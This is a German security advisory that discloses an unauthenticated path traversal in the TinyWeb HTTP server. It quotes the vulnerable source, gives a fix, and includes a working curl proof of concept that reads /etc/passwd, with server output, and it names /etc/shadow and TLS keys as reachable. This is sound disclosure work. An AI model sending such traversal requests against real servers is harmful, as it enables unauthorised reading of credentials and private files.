
Security Advisory: Unauthenticated Path Traversal Allows Arbitrary File Read (TinyWeb)
Zugewiesene CVE-ID: CVE-2026-67185
TinyWeb erstellt den Pfad der auszuliefernden Datei, indem es das Web-Root mit der Request-URL genau so verbindet, wie sie ankommt – ohne Normalisierung. Ein Remote-Client, der sich nie authentifiziert hat, kann ../-Sequenzen in die Request-Zeile einfügen und jede Datei lesen, die der Serverprozess öffnen kann, einschließlich Dateien außerhalb des Web-Root.
TnyWeb/0.0.80b3b5fd (09.01.2019), wo der Pfad erstmals auf diese Weise zusammengesetzt wird, bis a381da2 (22.11.2023, neuester Stand auf master).CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:NEin nicht authentifizierter Remote-Angreifer, der den lauschenden TCP-Port des Servers (in der mitgelieferten Konfiguration 9090) erreichen kann. Es sind keine Anmeldedaten, keine Benutzerinteraktion und kein vorheriger Zugriff erforderlich. Eine einzelne Anfrage genügt.
HttpBuilder::buildResponse() beginnt mit dem konfigurierten Web-Root und hängt das URL-Pfadfeld direkt aus der geparsten Anfrage an:
// src/tiny_http/http_responser.cc:80
sdsncat(&file_path, server.www.c_str(), server.www.size());
// src/tiny_http/http_responser.cc:83-87
if (url->field_set & (1 << HTTP_UF_PATH)) {
unsigned int off = url->fields[HTTP_UF_PATH].offset;
unsigned int len = url->fields[HTTP_UF_PATH].len;
sdsncat(&file_path, url->data + off, len);
}
// src/tiny_http/http_responser.cc:90-94
std::string f(file_path.data, file_path.len);
file_type = isRegularFile(f);
if (0 == file_type) {
return_val = file->setFile(f); // stat() + open() auf dem verbundenen Pfad
}
Zwischen dem Zusammenfügen in Zeile 86 und dem Dateisystemaufruf in Zeile 94 gibt es keine Entfernung von Dot-Segmenten (RFC 3986, Abschnitt 5.2.4), keine realpath()-Kanonisierung und keine Prüfung, dass das Ergebnis innerhalb von server.www bleibt.
Der URL-Parser filtert .. ebenfalls nicht. In HttpParser::parseUrlChar() akzeptiert der Pfadzustand jedes Zeichen, das isUrlChar() besteht, und . ist ein gültiges URL-Zeichen, sodass ../ unverändert buildResponse() erreicht:
// src/tiny_http/http_parser.cc:653-654
case s_requ_path: //finished
if (isUrlChar(ch))
return s_requ_path;
HttpFile::setFile() öffnet und liefert dann jeden Pfad aus, der erzeugt wurde, und zwar mit den Berechtigungen des Serverprozesses:
// src/tiny_http/http_model_file.cc:43
return_val = open(name.c_str(), O_RDONLY);
Hinweis: TinyWeb führt niemals eine Prozent-Decodierung des URL-Pfads durch, daher funktioniert %2e%2e%2f nicht. Die wörtliche Form ../ funktioniert.
Starten Sie den Server mit der mitgelieferten Konfiguration (lauscht auf Port 9090, liefert aus dem konfigurierten Web-Root aus).
Senden Sie eine Anfrage, deren Pfad über das Web-Root hinausgeht. Das Flag --path-as-is verhindert, dass curl das ../ vor dem Senden zusammenkürzt:
curl --path-as-is 'http://TARGET:9090/../../../../etc/passwd'
200 OK und dem Inhalt von /etc/passwd:HTTP/1.1 200 OK
Server: TinyWeb/0.0.8
Transfer-Encoding: chunked
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
Die Anzahl der benötigten ../-Segmente hängt davon ab, wie tief das Web-Root liegt. Jede Anzahl, die der Tiefe des Web-Root entspricht oder darüber liegt, funktioniert, da der Kernel .. an der Dateisystemwurzel ignoriert.
Jeder Remote-Client kann jede Datei lesen, die der Serverprozess öffnen darf. In der Standardkonfiguration laufen die Worker als root, sodass dies /etc/shadow, TLS-Private-Key, Konfigurationsdateien mit Anmeldedaten und den eigenen Quellcode der Anwendung unter dem Web-Root umfasst.
Kanonisieren Sie den verbundenen Pfad mit realpath() und lehnen Sie die Anfrage ab, es sei denn, das Ergebnis liegt innerhalb des konfigurierten Web-Root. Als Verteidigung in der Tiefe entfernen Sie während des URL-Parsings Dot-Segmente gemäß RFC 3986, Abschnitt 5.2.4, und führen Sie die Prozent-Decodierung des Pfads durch, bevor diese Normalisierung läuft.